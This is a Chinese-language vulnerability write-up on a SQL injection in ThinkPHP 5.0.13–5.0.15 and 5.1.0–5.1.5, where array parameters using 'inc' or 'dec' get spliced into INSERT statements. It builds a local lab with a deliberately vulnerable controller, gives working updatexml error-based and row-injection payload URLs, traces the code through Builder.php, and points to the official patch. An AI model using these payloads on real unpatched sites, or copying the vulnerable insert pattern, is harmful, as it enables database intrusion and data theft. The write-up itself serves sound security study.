简介
在parseData() 这个方法中出现对dec、inc两种情况的考虑不周从而拼接导致的SQL注入(Insert方法注入)
漏洞利用版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
环境搭建
到官网下载TP 5.0.15的源码
新建一个数据库,这里我建立了一个tpdemo库,其中有个users表
到composer.json
填写版本
到application/index/controller/Index.php
中配置:
public function index()//控制方法
{
$username = request()->get('username/a');
db('users')->insert(['username'=>$username]);
return 'Update success';
}
到application/database.php
配置数据库信息
到application/config.php
开启调试模式
'app_debug' => true,
'app_trace' => true,
先给出payload:
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
分析
首先看index控制器,username这个参数要接收数组形式!所以我们写成了get('username/a')
,注意后面的/a
就是要求传入数组形式。数组形式是后面利用的前提。
$username经过 request()->get('username/a');
后得到一个数组:
接着进入 insert()方法,会跳转到thinkphp/library/think/db/Query.php
的insert()方法
在insert方法中主要是这几行代码:分析了我们有用到什么表达式、将数据整合成一个数组$data,然后生成SQL语句并执行
$options = $this->parseExpress();
实际得到我们的表名,其他的用不着
$data = array_merge($options['data'], $data);
将参数数组 合并成一个数组
$sql = $this->builder->insert($data, $options, $replace);
这是生成SQL语句的,但这行代码又调用了insert方法,这里看的时候有点疑惑$this->builder
是哪个类的对象,看大佬说: Mysql 类继承于 Builder 类,即上面的 $this->builder->insert() 最终调用的是 Builder 类的 insert 方法。
既然这样我们跟进到thinkphp/library/think/db/Builder.php/
下Builder 类的insert()方法看看如何生成SQL语句
先跟进看parseExpress()这个方法,其中$data
的key值和value值都被赋值给相应变量,当$val
是数组、且$val[0]
是inc或者dec时就会进行拼接,返回$data=$val[1] + $val[2]
,而这个$data是我们insert进去的数据,因此可以想到在INSERT....VALUE()
这个SQL语句VALUE()中插入我们的恶意数据!这也回应一开始为什么需要传入数组形式了
执行完parseData(),回到insert方法中此时的$data
是updatexml(1,concat(0x7,user(),0x7e),1)+1
然后通过str_replace()
函数对既定表达式$insersql
进行数据替换
最终SQL语句:
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)
既定INSERT语句:
'%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';
得到SQL语句后回退到thinkphp/library/think/db/Query.php
,最后通过execute()执行就触发了SQL注入
payload:
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://127.0.0.1/thinkphp_5.0.15_full/Index.php?username[0]=dec&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
当然还可以不利用报错而是直接向数据库中插入数据:例如我们插入username为66的数据
payload:
username[0]=inc&username[1]=66),(1&username[2]=1
SQL语句中:
INSERT INTO `users` (`username`) VALUES (66),(1+1)
七月火师傅的攻击流程图:
修复
我们到GitHub上看看官方是如何修复的:
https://github.com/top-think/framework/compare/v5.0.15...v5.0.16
找到Builder.php ,发现是在增加了检查了$key
是否等于$val[1]
的步骤